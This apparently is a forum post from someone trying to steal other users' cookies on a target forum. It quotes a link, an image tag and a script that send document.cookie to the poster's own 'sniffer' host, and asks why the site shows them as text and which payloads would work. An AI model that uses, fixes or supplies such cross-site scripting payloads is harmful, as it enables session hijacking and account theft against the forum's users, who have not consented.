Hi guyz

I uploaded my own sniffer to my host and I did all the settings , I posted these codes to steal cookie <a href="http://myhost/s.jpg?it is test">click me</a>

and <img src="http:/myhost/s.jpg"> and <script>img = new Image(); img.src = "http://myhost/s.jpg?"+document.cookie;</script>

I posted above codes to my target forum but they worked like text I mean they did not work where should I write these codes to work ,My target forum's html codes are off. Which codes should I use to steal cookie? Above codes do not work why?

Thanxx
